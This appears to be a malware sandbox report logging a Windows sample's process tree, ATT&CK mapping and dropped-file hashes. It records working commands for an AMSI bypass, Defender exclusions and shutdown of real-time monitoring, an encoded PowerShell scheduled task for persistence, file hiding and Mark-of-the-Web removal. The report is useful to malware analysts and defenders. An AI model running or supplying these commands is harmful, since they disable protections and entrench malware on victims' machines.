- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6088
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5488
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3460
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4724
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:5396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2144
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:1348
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxUZW1wIiwiQzpcXFVzZXJzXFxBZG1pblxcRG93bmxvYWRzIik7Zm9yZWFjaCgkcCBpbiAkZSl7dHJ5e0FkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJHAgLUVBIDB9Y2F0Y2h7fX0=" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5328
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe"
    3⤵
    - Views/modifies file attributes
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4540
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\ngen_service.exe:Zone.Identifier"
    3⤵
    PID:3732

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1204

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5920

C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 6128" /nh 2>nul"
  2⤵
  PID:5708
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 6128" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:4280
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2200

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 6128" /nh 2>nul"
  2⤵
  PID:3612
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 6128" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:1036
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2080

C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:4856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 6128" /nh 2>nul"
  2⤵
  PID:5040
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 6128" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:5704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:4524
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2208

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 6128" /nh 2>nul"
  2⤵
  PID:2448
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5168
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 6128" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:5792
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:5408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 f2484e42e0b6573dd51560d2edbaedc97d7a10b260bf28edde0749b5ba5e37dd
MD5 4cc193c4523cb0a7b256df586b1b0e80
SHA1 e3cdb1acd17dc9a5d6c5b6e46c0e35cbc8a0dd23
SHA512 3a5f7d901b2ee1b25fd136dbfc33163d1940ff7f0c97ea5c318a5a8e014580837f224619512c4a089c6e5b376934a82da29b84ba3813a0f35d13cd814b326382
TLSH
T19E61DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier
Size 26B
SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
MD5 cb9db8b13f2e7d1ae122b5b6c2381b25
SHA1 ea06df82dba8cc567e95c43e6214872e52fdb05b
SHA512 937778c5cd8c35ec2a0811856214ad95446b14f91c306632117e9bc79740b5baa57c2051ba21765acbf0fced496ca547a08b8bdda85d8c8b700a44826a602ed0
MD5 SHA1 SHA512

Submit Download